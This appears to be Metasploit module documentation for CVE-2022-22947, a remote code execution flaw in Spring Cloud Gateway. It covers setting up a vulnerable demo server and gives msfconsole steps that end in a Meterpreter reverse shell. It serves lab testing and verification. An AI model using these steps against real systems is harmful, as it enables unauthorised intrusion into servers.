Vulnerable Application

The vulnerability exploits CVE-2022-22947 an unauthenticated RCE vulnerability in Spring Cloud Gateway. According to VMware the versions affected are:

• 3.1.0
• 3.0.0 to 3.0.6
• Older, unsupported versions are also affected

A sample demo project is available, which can be used to run a vulnerable server by following the installation instructions below.

Installation Instructions

    # To use the pre-compile vulnerable application
    wget https://github.com/wdahlenburg/spring-gateway-demo/releases/download/v.0.0.1/spring-gateway-demo-0.0.1-SNAPSHOT.jar
    sudo apt install default-jdk
    java -jar spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000


    # If you want to compile for a version of spring cloud gateway on your own
    git clone https://github.com/wdahlenburg/spring-gateway-demo.git

    # In pom.xml, change the version in '<spring-cloud.version>2021.0.1-SNAPSHOT</spring-cloud.version>'. 
    # To see which spring cloud version includes which version of spring cloud gateway, 
    # look here : https://repo1.maven.org/maven2/org/springframework/cloud/spring-cloud-dependencies/

    apt install maven
    mvn package -DskipTests
    java -jar target/spring-gateway-demo-0.0.1-SNAPSHOT.jar # This will host the app on port 9000

Verification Steps

• Run the vulnerable server
• Start msfconsole
• Do: use exploit/linux/http/spring_cloud_gateway_rce
• Do: set RHOSTS <server_ip>
• Do: set LHOST <metasploit_machine_ip>
• Do: set RPORT 9000
• Do: run
• You should get a Meterpreter shell.

Options

No particular option to be set

Scenarios
